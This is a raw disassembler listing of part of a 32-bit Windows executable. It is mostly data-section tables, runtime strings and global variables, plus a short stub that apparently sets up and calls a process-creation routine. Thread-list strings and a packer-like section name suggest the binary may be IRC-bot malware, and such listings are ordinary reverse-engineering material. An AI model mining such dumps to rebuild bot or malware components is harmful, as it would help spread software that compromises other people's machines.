; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_415050+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o
dword_437D20 dd 29E2C0h ; DATA XREF: sub_415539+4w sub_415543r ...
align 10h
dword_437D30 dd 173Fh ; DATA XREF: sub_415E6C+Dr
dd 9875h, 9873h
off_437D3C dd offset sub_415F3B ; DATA XREF: sub_4177FAr
dd offset nullsub_2
dd offset nullsub_2
dword_437D48 dd 1B3Fh ; DATA XREF: sub_415FB3+Dr
dword_437D4C dd 19930520h, 4 dup(0) ; DATA XREF: sub_416435+2o
; sub_41643E+2o
off_437D60 dd offset sub_417838 ; DATA XREF: sub_417BEE+1Cr
dword_437D64 dd 2 ; DATA XREF: sub_41CEE0+Er
; sub_41CF19+46r ...
off_437D68 dd offset aNull_0 ; DATA XREF: sub_417D4C:loc_4180B0r
; sub_417D4C+457r
; "(null)"
off_437D6C dd offset aNull ; DATA XREF: sub_417D4C+259r
; "(null)"
off_437D70 dd offset word_437D7A ; DATA XREF: sub_4159D4+23r
; sub_4159D4:loc_415A35r ...
dd offset word_437D7A
db 2 dup(0)
word_437D7A dw 20h ; DATA XREF: sub_41E6BD+18r
; .nsp0:off_437D70o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F7C dd 1 ; DATA XREF: sub_4159D4:loc_4159DCr
; sub_4159D4:loc_415A20r ...
byte_437F80 db 2Eh ; DATA XREF: sub_419F18:loc_419F58r
; sub_419F72+4r ...
align 4
dd 1, 10h
dword_437F8C dd 3F8h ; DATA XREF: sub_415E07+5r
; sub_4174DF+4Dr ...
dword_437F90 dd 14h ; DATA XREF: sub_419C61+2o
off_437F94 dd offset aExp ; DATA XREF: sub_419C61:loc_419C7Er
; "exp"
dd 1Dh, 4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
dd 13h, 421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
dd 0Fh, 421768h, 10h, 421760h, 5, 421758h, 1Eh, 421754h
dd 12h, 421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
dd 15h, 421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
dd 18h, 421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
dd 23h, 4216FCh, 24h, 4216F8h
dbl_438068 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+B7r
; sub_41999C:loc_419A83r ...
dd 0
dd 0FFF80000h
dbl_438078 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+92r
; sub_41999C:loc_419A5Br ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_438090 dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr
; sub_419E49+1Fr
align 4
tbyte_43809C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r
align 4
off_4380A8 dd offset sub_41A2DD ; DATA XREF: sub_415F53+Fw
; sub_417D4C+3AAr
off_4380AC dd offset sub_419F72 ; DATA XREF: sub_415F53+5w
; sub_417D4C+3E2r
off_4380B0 dd offset sub_419FD8 ; DATA XREF: sub_415F53+14w
; sub_41AD3D+430r
off_4380B4 dd offset sub_419F18 ; DATA XREF: sub_415F53+1Ew
; sub_417D4C+3CBr
off_4380B8 dd offset sub_419FC0 ; DATA XREF: sub_415F53+28w
off_4380BC dd offset sub_41A2DD ; DATA XREF: sub_415F53+32w
dd offset sub_41DF02
align 10h
dd offset sub_41AB9C
off_4380D4 dd offset sub_41AB9C ; DATA XREF: sub_41ABF2+29r
dword_4380D8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41AD3D:loc_41B2A4o
dword_4380E0 dd 5Dh, 0 ; DATA XREF: sub_41AD3D:loc_41B194o
byte_4380E8 db 1 ; DATA XREF: sub_41BFC0+E1r
db 2, 4, 8
align 10h
dword_4380F0 dd 3A4h ; DATA XREF: sub_41BFC0+2Fo
dword_4380F4 dd 82798260h, 21h, 0 ; DATA XREF: sub_41BFC0+11Dr
dword_438100 dd 0DFA6h ; DATA XREF: sub_41BFC0+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381E0 dd 1 ; DATA XREF: sub_41BFC0+3Co
; sub_41C5D7+Co
dword_4381E4 dd 16h ; DATA XREF: sub_41C5D7:loc_41C60Cr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438348 dd 0C0000005h ; DATA XREF: sub_41C5D7+19o
; sub_41C77F+Ar ...
dword_43834C dd 0Bh ; DATA XREF: sub_41F3C4+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4383C0 dd 3 ; DATA XREF: sub_41C63E+58r
; sub_41F297+C8r
dword_4383C4 dd 7 ; DATA XREF: sub_41C63E+5Er
; sub_41F297+CDr
dword_4383C8 dd 0Ah ; DATA XREF: sub_41C77F+4r
; sub_41F3C4+4r
dword_4383CC dd 8Ch ; DATA XREF: sub_41C63E+82r
; sub_41C63E+8Fw ...
dword_4383D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_417C37:loc_417CF4o
; sub_41B8B0:loc_41B931o
dword_4383D8 dd 2 ; DATA XREF: sub_41CF19+Eo
; sub_41CF19+28r
off_4383DC dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr
; sub_41CF19+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 421AC4h, 9, 421A98h, 0Ah, 421A74h, 10h, 421A48h
dd 11h, 421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
dd 19h, 421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
dd 78h, 4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh
dd 0FFh, 421890h
off_438468 dd offset dword_4697A0 ; DATA XREF: sub_41CF19+1Bo
; sub_41D0D6+55o
align 10h
dd offset dword_4697A0
dd 101h
dword_438478 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D0D6+72o
dd 1000h, 0
dword_438488 dd 3 dup(0) ; DATA XREF: sub_417C37+50o
; sub_4187B6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4384A8 dd 3 dup(0) ; DATA XREF: sub_417C37+58o
; sub_4187B6:loc_4187D4o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4384D8 dd 84h dup(0) ; DATA XREF: sub_41D0D6+9Bo
dword_4386E8 dd 2694h ; DATA XREF: sub_4195FE+3r
; sub_419651+46r ...
align 10h
dword_4386F0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41DCE2o
dword_438708 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41DCF8o
dword_438720 dd 7080h ; DATA XREF: sub_41B7EE+76r
; sub_41E162+5Ew ...
dword_438724 dd 1 ; DATA XREF: sub_41B7EE+98r
; sub_41E162+8Bw ...
dword_438728 dd 0FFFFF1F0h ; DATA XREF: sub_41B7EE:loc_41B8A0r
; sub_41E162+94w ...
dword_43872C dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4387ACo
dword_43876C dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4387B0o
off_4387AC dd offset dword_43872C ; DATA XREF: sub_41E162+BAr
; sub_41E162+D9r ...
off_4387B0 dd offset dword_43876C ; DATA XREF: sub_41E162+F4r
; sub_41E162+11Br ...
align 8
dword_4387B8 dd 0FFFFFFFFh ; DATA XREF: sub_41E162+1Dw
; sub_41E3C0+1Er ...
dword_4387BC dd 0 ; DATA XREF: sub_41E3C0:loc_41E4F4r
; sub_41E56C+BFw
dword_4387C0 dd 0 ; DATA XREF: sub_41E3C0+192r
; sub_41E56C+E0w
align 8
dword_4387C8 dd 0FFFFFFFFh ; DATA XREF: sub_41E162+17w
; sub_41E3C0+26r ...
dword_4387CC dd 0 ; DATA XREF: sub_41E3C0+13Ar
; sub_41E56C+EAw ...
dword_4387D0 dd 0 ; DATA XREF: sub_41E3C0+1A1r
; sub_41E56C+23r ...
dword_4387D4 dd 0FFFFFFFFh ; DATA XREF: sub_41E56C+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_438804 dd 16Dh ; DATA XREF: sub_41B7EE+2Ar
; sub_41E56C+2Er ...
dword_438808 dd 0FFFFFFFFh ; DATA XREF: sub_41E56C:loc_41E5F8r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_438840 dd 2 dup(0) ; DATA XREF: sub_41F71C+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4389A0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_41F71C+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_438B00 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CD8o
; .nsp0:00421E04o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_438B18 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CF0o
; .nsp0:00421D84o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_438B38 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D08o
; .nsp0:00421D4Co ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_438B58 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D90o
; .nsp0:00421DD4o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_438B78 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421E10o
; .nsp0:00421E4Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41DF02
align 8
byte_438B98 db 0 ; DATA XREF: sub_401447+1D3w
; sub_401447+2D2o
align 2
word_438B9A dw 0 ; DATA XREF: sub_401447+1E3w
word_438B9C dw 0 ; DATA XREF: sub_401447+1E9w
word_438B9E dw 0 ; DATA XREF: sub_401447+1F0w
byte_438BA0 db 0 ; DATA XREF: sub_401447+1F7w
byte_438BA1 db 0 ; DATA XREF: sub_401447+1FEw
word_438BA2 dw 0 ; DATA XREF: sub_401447+204w
dword_438BA4 dd 0 ; DATA XREF: sub_401447+234w
; sub_401447+250w
dword_438BA8 dd 0 ; DATA XREF: sub_401447+258w
byte_438BAC db 0 ; DATA XREF: sub_401447+26Aw
byte_438BAD db 0 ; DATA XREF: sub_401447+27Dw
word_438BAE dw 0 ; DATA XREF: sub_401447+295w
word_438BB0 dw 0 ; DATA XREF: sub_401447+2A4w
word_438BB2 dw 0 ; DATA XREF: sub_401447+29Cw
dword_438BB4 dd 101h dup(0) ; DATA XREF: sub_401447+2B9o
dword_438FB8 dd 0 ; DATA XREF: sub_402FDD+9Eo
byte_438FBC db 0 ; DATA XREF: sub_402FDD+36r
; sub_4030C0+37r ...
align 10h
dword_438FC0 dd 7A5h ; DATA XREF: sub_4036D4+10w
; sub_4036EB+30r ...
dd 2 dup(0)
dword_438FCC dd 2 dup(0) ; DATA XREF: sub_404532+68o
dword_438FD4 dd 0 ; DATA XREF: sub_403FD2+13o
; sub_40CE55+5B71o ...
dword_438FD8 dd 0 ; DATA XREF: sub_405A0C+2Aw
; sub_405A0C+51r ...
dword_438FDC dd 0 ; DATA XREF: sub_4036EB+AEr
; .nsp0:0040494Cr ...
dd 2 dup(0)
dword_438FE8 dd 0 ; DATA XREF: sub_4071FF+18r
; sub_407652+92w ...
dword_438FEC dd 0 ; DATA XREF: sub_40778B+4Dr
; sub_40799F+D9w ...
dd 256h dup(0)
dword_439948 dd 6 dup(0) ; DATA XREF: sub_40778B+CFo
; sub_40778B+138o ...
dword_439960 dd 0 ; DATA XREF: sub_407276+82w
; sub_407276+102o
dword_439964 dd 41h dup(0) ; DATA XREF: sub_407276+41o
dword_439A68 dd 41h dup(0) ; DATA XREF: sub_407276+63o
dword_439B6C dd 0 ; DATA XREF: sub_407276+F8w
; sub_407276+114r
dword_439B70 dd 0 ; DATA XREF: sub_407276+52w
dword_439B74 dd 0 ; DATA XREF: sub_407276+4Dw
; sub_407276+CFr
dword_439B78 dd 20h dup(0) ; DATA XREF: sub_407276+9Ao
; sub_407276+BAo
dword_439BF8 dd 0 ; DATA XREF: sub_407276+8Fw
dword_439BFC dd 0 ; DATA XREF: sub_407276+A7w
; sub_407276+C7w
dword_439C00 dd 0 ; DATA XREF: sub_407276:loc_4073A0r
align 8
dword_439C08 dd 0 ; DATA XREF: sub_407276+2D5w
; sub_407276+32Eo
dword_439C0C dd 0A2h dup(0) ; DATA XREF: sub_407276+2C3o
dword_439E94 dd 41h dup(0) ; DATA XREF: sub_407276+28Do
dword_439F98 dd 0 ; DATA XREF: sub_407276+2BAw
; sub_407276+2E1r
align 10h
dword_439FA0 dd 0 ; DATA XREF: sub_407276+324w
; sub_407276+340r
dword_439FA4 dd 0 ; DATA XREF: sub_407276+2E7w
dword_439FA8 dd 0 ; DATA XREF: sub_407276+2F4w
dword_439FAC dd 0 ; DATA XREF: sub_407276+2B4w
dd 0
dword_439FB4 dd 0 ; DATA XREF: sub_407276:loc_4075CCr
dword_439FB8 dd 0 ; DATA XREF: sub_407276+1A1w
; sub_407276+221o
dword_439FBC dd 41h dup(0) ; DATA XREF: sub_407276+163o
dword_43A0C0 dd 41h dup(0) ; DATA XREF: sub_407276+182o
dword_43A1C4 dd 0 ; DATA XREF: sub_407276+217w
; sub_407276+233r
dword_43A1C8 dd 0 ; DATA XREF: sub_407276+171w
dword_43A1CC dd 0 ; DATA XREF: sub_407276+1EEr
dword_43A1D0 dd 20h dup(0) ; DATA XREF: sub_407276+1B9o
; sub_407276+1D9o
dword_43A250 dd 0 ; DATA XREF: sub_407276+1AEw
dword_43A254 dd 0 ; DATA XREF: sub_407276+1C6w
; sub_407276+1E6w
dword_43A258 dd 0 ; DATA XREF: sub_407276:loc_4074C0r
align 10h
dword_43A260 dd 0 ; DATA XREF: sub_4089F2+489w
; sub_4089F2+4CDr
dword_43A264 dd 0 ; DATA XREF: sub_4089F2+65w
; sub_413DD2+F5r
dword_43A268 dd 0 ; DATA XREF: sub_4089F2+7EDw
; sub_4089F2+862r ...
dword_43A26C dd 0 ; DATA XREF: sub_4089F2+9BAw
; sub_4089F2+A18r ...
dword_43A270 dd 0 ; DATA XREF: sub_4089F2+96Cw
; sub_4089F2+9E8r ...
dword_43A274 dd 0 ; DATA XREF: sub_4089F2+46Fw
; sub_4089F2+4BDr
dword_43A278 dd 0 ; DATA XREF: sub_4021FB+ECr
; sub_4021FB+109r ...
dword_43A27C dd 0 ; DATA XREF: sub_4089F2+9ADw
; sub_4089F2+A10r ...
dword_43A280 dd 0 ; DATA XREF: sub_4089F2+354w
; sub_4089F2+3A9r ...
dword_43A284 dd 0 ; DATA XREF: sub_4089F2+3F1w
; sub_40AAD1+11Er
dword_43A288 dd 0 ; DATA XREF: sub_4089F2+361w
; sub_4089F2+3B1r ...
dword_43A28C dd 0 ; DATA XREF: sub_4089F2+3A2w
; sub_4133C0+ADr
dword_43A290 dd 0 ; DATA XREF: sub_405B23+115r
; sub_4084D3+7Dr ...
dword_43A294 dd 0 ; DATA XREF: sub_4089F2+72w
; sub_4089F2+D2r ...
dword_43A298 dd 0 ; DATA XREF: sub_4089F2+95Fw
; sub_4089F2+9DBr ...
dword_43A29C dd 0 ; DATA XREF: sub_4089F2+388w
; sub_4089F2+3C9r ...
dword_43A2A0 dd 0 ; DATA XREF: sub_4089F2+83Bw
; sub_4089F2+88Er ...
dword_43A2A4 dd 0 ; DATA XREF: sub_4085D3+58r
; sub_4089F2+2A5w ...
dword_43A2A8 dd 0 ; DATA XREF: sub_4089F2+82Ew
; sub_4089F2+886r ...
dword_43A2AC dd 0 ; DATA XREF: sub_4089F2+B3w
dword_43A2B0 dd 0 ; DATA XREF: sub_4089F2+848w
; sub_4089F2+896r ...
dword_43A2B4 dd 0 ; DATA XREF: sub_407BFE+7Er
; sub_4089F2+52Fw ...
dword_43A2B8 dd 0 ; DATA XREF: sub_4089F2+58w
; sub_4089F2+CAr ...
dword_43A2BC dd 0 ; DATA XREF: sub_4089F2+916w
; sub_40A217+11Ar
dword_43A2C0 dd 0 ; DATA XREF: sub_4089F2+A66w
; sub_4089F2+A6Dr ...
dword_43A2C4 dd 0 ; DATA XREF: sub_4089F2+A6w
; sub_4089F2+F2r
dword_43A2C8 dd 0 ; DATA XREF: sub_4089F2+462w
; sub_4089F2+4B5r
dword_43A2CC dd 0 ; DATA XREF: sub_40760A+20r
; sub_4089F2+5D8w ...
dword_43A2D0 dd 0 ; DATA XREF: sub_4089F2+9A0w
; sub_4089F2+A08r
dword_43A2D4 dd 0 ; DATA XREF: sub_4024DC+280r
; sub_4089F2+5CBw ...
dword_43A2D8 dd 0 ; DATA XREF: sub_4030C0+9Ar
; sub_4089F2+B21w
dword_43A2DC dd 0 ; DATA XREF: sub_4089F2+7E0w
; sub_4089F2+84Fr ...
dword_43A2E0 dd 0 ; DATA XREF: sub_4089F2+1B3w
; sub_409DF3+15r
dword_43A2E4 dd 0 ; DATA XREF: sub_4089F2+979w
; sub_4089F2+9F0r ...
dword_43A2E8 dd 0 ; DATA XREF: sub_4089F2+36Ew
; sub_4089F2+3B9r ...
dword_43A2EC dd 0 ; DATA XREF: sub_4089F2+37Bw
; sub_4089F2+3C1r ...
dword_43A2F0 dd 0 ; DATA XREF: sub_4089F2+C56w
; sub_4089F2+C5Dr
dword_43A2F4 dd 0 ; DATA XREF: sub_4089F2+68Ew
dword_43A2F8 dd 0 ; DATA XREF: sub_4010B2:loc_4013DDr
; sub_4018CA:loc_401B70r ...
dword_43A2FC dd 0 ; DATA XREF: sub_4089F2+496w
dword_43A300 dd 0 ; DATA XREF: sub_4089F2+9C7w
; sub_4089F2+A20r ...
dword_43A304 dd 0 ; DATA XREF: sub_4089F2+2B2w
; sub_4089F2+2DEr ...
dword_43A308 dd 0 ; DATA XREF: sub_4089F2+7Fw
; sub_4089F2+DAr ...
dword_43A30C dd 0 ; DATA XREF: sub_4089F2+B6Ew
; sub_4089F2+B75r ...
dword_43A310 dd 0 ; DATA XREF: sub_4010B2+2Fr
; sub_4018CA+2Fr ...
dword_43A314 dd 0 ; DATA XREF: sub_4089F2+807w
; sub_4089F2+872r ...
dword_43A318 dd 0 ; DATA XREF: sub_4089F2+986w
; sub_4089F2+9F8r
dword_43A31C dd 0 ; DATA XREF: sub_404F08+5Ar
; sub_404F08+8Cr ...
dword_43A320 dd 0 ; DATA XREF: sub_4021FB+40r
; sub_4021FB+63r ...
dword_43A324 dd 0 ; DATA XREF: sub_4089F2+8FCw
; sub_4089F2+910r ...
dword_43A328 dd 0 ; DATA XREF: sub_4089F2+BF9w
dword_43A32C dd 0 ; DATA XREF: sub_4010B2:loc_4013A7r
; sub_401447+3Cr ...
dword_43A330 dd 0 ; DATA XREF: sub_4089F2+821w
; sub_4089F2+855r
dword_43A334 dd 0 ; DATA XREF: sub_4021FB+50r
; sub_4021FB+78r ...
dword_43A338 dd 0 ; DATA XREF: sub_4089F2+172w
; sub_4089F2+1C2r
dword_43A33C dd 0 ; DATA XREF: sub_4089F2+65Aw
; sub_4089F2+786r ...
dword_43A340 dd 0 ; DATA XREF: sub_4033CB+20Ar
; sub_4036EB+5Er ...
dword_43A344 dd 0 ; DATA XREF: sub_4024DC+16Er
; sub_4089F2+549w ...
dword_43A348 dd 0 ; DATA XREF: sub_4089F2+8BDw
; sub_4089F2:loc_4092CDw ...
dword_43A34C dd 0 ; DATA XREF: sub_4089F2+28Bw
; sub_4089F2+2C6r ...
dword_43A350 dd 0 ; DATA XREF: sub_407D86+98r
; sub_4089F2+681w ...
dword_43A354 dd 0 ; DATA XREF: sub_4089F2+30Fw
; sub_4089F2+323r ...
dword_43A358 dd 0 ; DATA XREF: sub_4089F2+395w
; sub_4089F2+3D1r ...
dword_43A35C dd 0 ; DATA XREF: sub_404F08+192r
; sub_404F08+1C6r ...
dword_43A360 dd 0 ; DATA XREF: sub_4089F2+7FAw
; sub_4089F2+86Ar ...
dword_43A364 dd 0 ; DATA XREF: sub_4021FB+FCr
; sub_4089F2+206w ...
dword_43A368 dd 0 ; DATA XREF: sub_4089F2+18Cw
; sub_4089F2+1D2r ...
dword_43A36C dd 0 ; DATA XREF: sub_4089F2+814w
; sub_4089F2+87Ar ...
dword_43A370 dd 0 ; DATA XREF: sub_406C3E+244r
; sub_4089F2+606w ...
dword_43A374 dd 0 ; DATA XREF: sub_4085D3+19Br
; sub_4089F2+2BFw ...
dword_43A378 dd 0 ; DATA XREF: sub_4010B2+6Fr
; sub_401447+AAr ...
dword_43A37C dd 0 ; DATA XREF: sub_4089F2+302w
; sub_4089F2+316r ...
dword_43A380 dd 0 ; DATA XREF: sub_405B23+F9r
; sub_406C3E+1FCr ...
dword_43A384 dd 0 ; DATA XREF: sub_4089F2+42Ew
; sub_4089F2+490r
dword_43A388 dd 0 ; DATA XREF: sub_4089F2+199w
; sub_4089F2+1DAr ...
dword_43A38C dd 0 ; DATA XREF: sub_4089F2+347w
; sub_4089F2+39Cr ...
dword_43A390 dd 0 ; DATA XREF: sub_4089F2+A73w
dword_43A394 dd 0 ; DATA XREF: sub_4010B2+EBr
; sub_4010B2+1F9r ...
dword_43A398 dd 0 ; DATA XREF: sub_4010B2+87r
; sub_4010B2+9Dr ...
dword_43A39C dd 0 ; DATA XREF: sub_4089F2+4Bw
; sub_4089F2+C2r ...
dword_43A3A0 dd 0 ; DATA XREF: sub_4089F2+455w
; sub_4089F2+4ADr
dword_43A3A4 dd 0 ; DATA XREF: sub_4089F2+165w
; sub_4089F2+1BAr ...
dword_43A3A8 dd 0 ; DATA XREF: sub_4089F2+9E1w
; sub_413CA9+72r
dword_43A3AC dd 0 ; DATA XREF: sub_4089F2+667w
; sub_4089F2+78Er
dword_43A3B0 dd 0 ; DATA XREF: sub_4024DC+205r
; sub_4033CB+23Br ...
dword_43A3B4 dd 0 ; DATA XREF: sub_404F08+1D9r
; sub_404F08+245r ...
dword_43A3B8 dd 0 ; DATA XREF: sub_4089F2+3Ew
; sub_4089F2+BAr ...
dword_43A3BC dd 0 ; DATA XREF: sub_4089F2+298w
; sub_4089F2+2CEr ...
dword_43A3C0 dd 0 ; DATA XREF: sub_405B23+9Er
; sub_407BFE+9Cr ...
dword_43A3C4 dd 0 ; DATA XREF: sub_4024DC+EBr
; sub_405B23+89r ...
dword_43A3C8 dd 0 ; DATA XREF: sub_4089F2+C63w
dword_43A3CC dd 0 ; DATA XREF: sub_4089F2+85Bw
; sub_40AE4B+205r ...
dword_43A3D0 dd 0 ; DATA XREF: sub_4089F2+112w
dword_43A3D4 dd 0 ; DATA XREF: sub_404F08+11Er
; sub_4089F2+BB8w ...
dword_43A3D8 dd 0 ; DATA XREF: sub_401447+119r
; sub_401447+1A0r ...
dword_43A3DC dd 0 ; DATA XREF: sub_4089F2+43Bw
; sub_4089F2+49Dr
dword_43A3E0 dd 0 ; DATA XREF: sub_4089F2+47Cw
; sub_4089F2+4C5r
dword_43A3E4 dd 0 ; DATA XREF: sub_4089F2+448w
; sub_4089F2+4A5r
dword_43A3E8 dd 0 ; DATA XREF: sub_4033CB+221r
; sub_4033CB+249r ...
dword_43A3EC dd 0 ; DATA XREF: sub_4089F2+1A6w
; sub_4089F2+1E2r ...
dword_43A3F0 dd 0 ; DATA XREF: sub_4089F2+9D4w
; sub_4089F2+A28r ...
dword_43A3F4 dd 0 ; DATA XREF: sub_4089F2+158w
; sub_4089F2+1ADr ...
dword_43A3F8 dd 0 ; DATA XREF: sub_4089F2+8Cw
; sub_4089F2+E2r ...
dword_43A3FC dd 0 ; DATA XREF: sub_4010B2+2C2r
; sub_401447+2DAr ...
dword_43A400 dd 0 ; DATA XREF: sub_4089F2+B14w
; sub_4089F2+B30r
dword_43A404 dd 0 ; DATA XREF: sub_4089F2+31Cw
; sub_413D67+55r
dword_43A408 dd 0 ; DATA XREF: sub_4085D3+3Fr
; sub_4089F2+27Ew ...
dword_43A40C dd 0 ; DATA XREF: sub_4089F2+B7Bw
dword_43A410 dd 0 ; DATA XREF: sub_4089F2+ABDw
; sub_40A093+CEr
